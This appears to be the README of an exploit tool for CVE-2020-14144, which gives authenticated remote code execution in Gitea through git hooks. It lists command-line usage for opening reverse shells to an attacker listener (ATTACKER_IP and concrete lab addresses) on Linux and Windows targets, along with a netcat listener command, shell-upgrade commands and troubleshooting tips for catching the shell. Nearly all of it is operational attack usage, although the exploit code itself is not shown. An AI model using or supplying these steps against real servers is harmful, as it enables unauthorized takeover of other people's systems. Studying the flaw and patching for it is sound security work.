Gitea versions 1.1.0 → 1.12.5 allow authenticated users with "May create git hooks" permission to inject arbitrary shell commands into post-receive hooks. Pushing a commit triggers the hook and executes the payload on the server.
# Linux target — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux
# Windows target — PowerShell reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows

Roquefort — Gitea Authenticated RCE via Git Hooks (CVE-2020-14144)
required arguments:
-t, --target Target Gitea URL (e.g. http://192.168.x.x:3000)
-u, --username Gitea username
-p, --password Gitea password
-I, --rev-ip Attacker listener IP
-P, --rev-port Attacker listener port
optional arguments:
--os Target OS: linux (default) or windows
--repo Repository name to create (default: exploit)
-f, --payload-file Custom shell script payload file
-v, --verbose Verbose output
# 1) Start listener
nc -lvnp 4444
# 2) Run exploit (Linux target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444
# 3) Run exploit (Windows target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 --os windows
# 4) Custom payload file
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 -f payload.sh
After catching the reverse shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
| Problem | Solution |
|---|---|
fatal: dubious ownership | Clone from ~ instead of shared folders, or run git config --global --add safe.directory '*' |
| No connection received | Verify attacker IP, check firewall, confirm both machines on same subnet |
| Hook fires but no shell | Test with touch /tmp/pwned payload first — if file appears, reverse shell is being blocked |
| Permission denied on hooks | User lacks hook permissions — needs admin or "May create git hooks" privilege |
| Port conflict on 3000 | Gitea uses 3000 — use a different port like 4444 for your listener |
